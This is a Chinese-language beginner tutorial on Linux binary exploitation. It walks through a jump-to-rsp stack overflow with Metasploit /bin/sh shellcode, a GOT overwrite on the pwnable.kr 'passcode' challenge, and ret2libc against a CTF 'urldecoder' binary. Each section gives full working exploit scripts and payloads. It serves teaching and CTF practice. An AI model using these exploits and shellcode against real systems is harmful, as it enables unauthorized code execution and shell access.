linux常见漏洞利用技术实践

0x01 前言

1.1 目的

1.1.1 写这篇文章一是总结一下前段时间所学的东西,二是给pwn还没入门的同学一些帮助,毕竟自己学的时候还是遇到不少困难 以下都是我的实际操作,写的比较详细,包含了我自己的一些经验,欢迎大家指点.

1.1.2 内容包含利用跳板劫持流程,GOT覆写 ,ret2libc等技术

1.2 预备

1.2.1工具

1.2.1.1 ida

反汇编神器,下载地址down.52pojie.cn

1.2.1.2 gdb

动态调试工具,ubuntu自带,但是自带高版本无法装peda插件.google 搜索downgrade gdb,重新安装低版本gdb即可

1.2.1.3 pwntools和zio

两者均是用python开发的exp编写工具,同时方便了远程exp和本地exp的转换 sudo pip install pwntool / sudo pip install zio 即可安装

1.2.1.4 peda

gdb的一个插件,github上可以下载,增加了很多方便的功能

1.2.2 预备知识

1.2.2.1 强烈的兴趣

1.2.2.2 知道简单的c代码怎样和汇编对应

附件下载

0x02 常见漏洞利用技术

2.1 利用跳板覆盖返回地址

2.1.1 使用范围

当系统打开ASLR(基本都打开了)时,使用硬编码地址的话,就无法成功利用漏洞.在这种情况下就可以使用这种技术.程序必须关闭NX

2.1.2 原理

当函数执行完,弹出了返回地址,rsp往往指向(返回地址+8),我们将shellcode放在此处就可以让程序执行,注意跳板不一定是rsp

2.1.3 实践

在这儿用的程序是来自重庆邮电大学举办的cctf2015中pwn的第一题,感谢tracy_子鹏学长(程序见附件),运行环境64位linux

1 拿到程序第一件事就是先运行一下,熟悉要分析的东西(这一点不光是pwn,不管是re还是渗透,先对于目标有个直观了解都是很重要的事)

程序很简单,就是一个简单的接受输入

2 打开ida,,可以看到程序非常的简单

#!c++ int __cdecl main(int argc, const char **argv, const char **envp) {   __int64 v3; // rdx@1   char v5; // [sp+0h] [bp-1020h]@1   char v6; // [sp+1000h] [bp-20h]@1   int v7; // [sp+101Ch] [bp-4h]@1    setbuf(stdin, 0LL, envp);   setbuf(stdout, 0LL, v3);   puts(0x4938E4LL);   v7 = read(0LL, &v5, 4096LL);   return memcpy(&v6, &v5, v7); } 

我们输入的数据最终会复制到[bp-20h],而且没有长度限制,肯定就是有栈溢出漏洞

3 接下来我们检查一下程序打开了哪些保护措施

gdb pwn1 checksec 

可以看到程序没有没有打开任何保护措施,现在唯一需要解决的就是系统自带的ASLR,(注意,使用gdb调试时,每次看到的栈地址可能是不变的,这并不代表系统没有打开ASLR,gdb调试时会自动关闭ASLR)

4 接下来是定位返回地址

前面看到了我们输入的数据最终会复制到[bp-20h],我们先尝试输入40个数据,用python生成40个数据

gdb pwn1 r           //运行程序 

复制生成的输入进去

看到栈上没有成功覆盖发挥地址

再次使用八十字节

可以看出从第四十个字节开始的八个字节就会覆盖返回地址

5 写exp

首先我们需要一个shellcode,这可以通过msf生成 生成命令如下

#!bash show payload    use linux/x64/exec set cmd /bin/sh generate -t py -b "/x00" 

即可得到shellcode

#!bash # linux/x64/exec - 87 bytes # http://www.metasploit.com # Encoder: x64/xor # VERBOSE=false, PrependFork=false, PrependSetresuid=false,  # PrependSetreuid=false, PrependSetuid=false,  # PrependSetresgid=false, PrependSetregid=false,  # PrependSetgid=false, PrependChrootBreak=false,  # AppendExit=false, CMD=/bin/sh buf =  "" buf += "/x48/x31/xc9/x48/x81/xe9/xfa/xff/xff/xff/x48/x8d/x05" buf += "/xef/xff/xff/xff/x48/xbb/xab/xb5/xd9/xba/x45/x0a/xfd" buf += "/x44/x48/x31/x58/x27/x48/x2d/xf8/xff/xff/xff/xe2/xf4" buf += "/xc1/x8e/x81/x23/x0d/xb1/xd2/x26/xc2/xdb/xf6/xc9/x2d" buf += "/x0a/xae/x0c/x22/x52/xb1/x97/x26/x0a/xfd/x0c/x22/x53" buf += "/x8b/x52/x4d/x0a/xfd/x44/x84/xd7/xb0/xd4/x6a/x79/x95" buf += "/x44/xfd/xe2/x91/x33/xa3/x05/xf8/x44" 

然后我们还需要一个跳板作为返回地址 peda就有这种功能

jmpcall rsp 

我们就采用第一个地址, 注意64位系统,和little endian

然后我们使用zio写exp

#!python from zio import *  io = zio('./pwn1') # io = zio(('127.0.0.1', 1234))  io.read_until('overflow!')  pad = 'a' * 40  # 0x 43 68 7d : call rsp jmpAddr = '/x7d/x68/x43/x00/x00/x00/x00/x00'  shellcode =  "" shellcode += "/x48/x31/xc9/x48/x81/xe9/xfa/xff/xff/xff/x48/x8d/x05" shellcode += "/xef/xff/xff/xff/x48/xbb/xab/xb5/xd9/xba/x45/x0a/xfd" shellcode += "/x44/x48/x31/x58/x27/x48/x2d/xf8/xff/xff/xff/xe2/xf4" shellcode += "/xc1/x8e/x81/x23/x0d/xb1/xd2/x26/xc2/xdb/xf6/xc9/x2d" shellcode += "/x0a/xae/x0c/x22/x52/xb1/x97/x26/x0a/xfd/x0c/x22/x53" shellcode += "/x8b/x52/x4d/x0a/xfd/x44/x84/xd7/xb0/xd4/x6a/x79/x95" shellcode += "/x44/xfd/xe2/x91/x33/xa3/x05/xf8/x44"  io.write(pad + jmpAddr + shellcode)  io.interact() 

python pwn1.py 运行即可看到

已拿到shell

2.2 GOT覆写

2.2.1 使用范围

刚才我们是通过栈溢出漏洞攻击函数的返回地址,但是现在对于栈溢出,已经有很多保护,例如canary(与windows下的GS技术类似).同时现在更常见的是指针覆盖漏洞,在这种情况下我们拥有一次修改任意内存的机会,在这时我们采用的往往就是GOT覆写技术.

2.2.2 原理

GOT是全局偏移表,类似于windows中PE结构的IAT,只不过windows中IAT中的函数地址是写保护的,没办法利用,但是GOT是可写的,我们可以将其中的函数地址覆盖为我们的shellcode地址,在程序后面调用这个函数时就会调用我们的shellcode了

2.2.3 实践

在这儿我用的实验程序来自panable.kr中的passcode,比较简单,源码如下

#!c #include <stdio.h> #include <stdlib.h> void login(){  int passcode1;  int passcode2;  printf("enter passcode1 : ");  scanf("%d", passcode1);  fflush(stdin);  // ha! mommy told me that 32bit is vulnerable to bruteforcing :)  printf("enter passcode2 : ");   scanf("%d", passcode2);  printf("checking.../n");  if(passcode1==338150 && passcode2==13371337){     printf("Login OK!/n");     system("/bin/cat flag");   }   else{     printf("Login Failed!/n");   exit(0);   } } void welcome(){  char name[100];  printf("enter you name : ");  scanf("%100s", name);  printf("Welcome %s!/n", name); } int main(){  printf("Toddler's Secure Login System 1.0 beta./n");  welcome();  login();  // something after login...  printf("Now I can safely trust you that you have credential :)/n");  return 0;    }  

编译后的程序见附件,32位 linux

感觉锐锐_z的指点

1 分析程序可知,scanf时,没有用取地址符,会使用栈上的数据作为指针存放输入的数据,而我们第一次输入的数据就是在栈上,简单调试可知,在welcome()函数中的name的最后4字节会在login()函数中被用作地址指针

2 这样,我们就获得了修改任意地址数据的一次机会

3 分析程序可知如果我们用后面调用system()的地址覆盖了printf()在GOT中的指针,那么在第二次login()中第二次调用printf()时就会直接去调用system()

4 现在我们需要知道两个东西,一是GOT中printf()的地址,二是程序中调用system()的地址

objdump -R passcode 

即可获得 printf() 在的地址 0804a000 这是攻击目标,

然后打开gdb,运行到调用system()的地方,为什么我们可以直接使用这个地址呢,因为linux下面的程序默认没有随机化code段,

要写入的值即为 0x080485e3

5 最后得到

#!bash python -c "print('a'*96+'/x00/xa0/x04/x08'+'/n'+'134514147/n')" | ./passcode 

134514147 即为 0x080485e3

成功改变了程序流程,读出flag文件的内容,注意这里需要你新建一个名叫flag的文件

2.3 ret2libc技术

2.3.1 使用范围

当系统打开DEP时,我们不能自己直接在栈上放shellcode,就使用几乎每个linux系统都会自带的libc中的代码.

2.3.2 原理

一种常见的利用方式是用libc中的system()的地址覆盖返回地址,同时在栈上布置好的参数,程序返回时就会产生一个shell

2.3.3 实践

在这儿用的程序是强网杯的urldecoder(程序见附件),再次感谢tracy_子鹏学长指点

这道题同时开了ASLR和DEP.,运行环境为32位linux

1. 分析程序后发现,前面读入数据时,只有遇到换行和EOF才会结束,但是后面检查字符串长度是用的strlen,于是可以通过在字符串中加入/x00来绕过长度检查
2. 继续分析程序流程,发现,当输入为%1/x00时就可以成功覆盖返回地址
3. 接下来就考虑利用漏洞的方法
4. 观察到溢出后,程序会多输出一些栈上的数据出来,想到可以利用输出出来的一些数据定位libc加载的基址,然后将返回地址覆盖为前面读入数据的代码地址,再读一次数据,再溢出一次,这一次执行到返回时,就执行libc中的system函数
5. 题目提供了libc,可以计算其中各函数的偏移,找到libc中system函数和/bin/sh字符串的地址,同时在栈上布置好参数,即可成功利用

下面附上exp及解释

#!python from pwn import * from zio import *  context(arch = 'i386', os = 'linux')  #注意此处ELF()的用处是后面计算偏移,你运行程序时还是用的当前系统的libc #libc = ELF('./libc.so.6.i386') libc = ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')  #p = remote('119.254.101.197', 10001) p = process('./urldecoder')  #第一次输入,获取libc中的地址信息 ret_addr = '/x90/x85/x04/x08' payload = "http://baidu.com//%1" + "/x00" + "a"*137 + ret_addr  p.recvuntil("URL:") p.send(payload + '/n')  data = p.recvuntil("URL:") base_addr = data[196:200]  printf_addr = l32(base_addr) - 0x117474  offset = libc.symbols['printf'] - libc.symbols['system'] system_addr = printf_addr - offset  binsh_offset = next(libc.search('/bin/sh')) - libc.symbols['printf'] binsh_addr = binsh_offset + printf_addr  #第二次输入 ret_addr = '/x12/x12/x12/x12' payload = "http://baidu.com//%1" + "/x00" +  "a"*137 + l32(system_addr) + ret_addr +  l32(binsh_addr)  p.send(payload + '/n') p.interactive() 

run

#!bash python url.py 

成功利用

从中也可以看到,对于同时开了ASLR和DEP的程序,利用的难度确实高了不少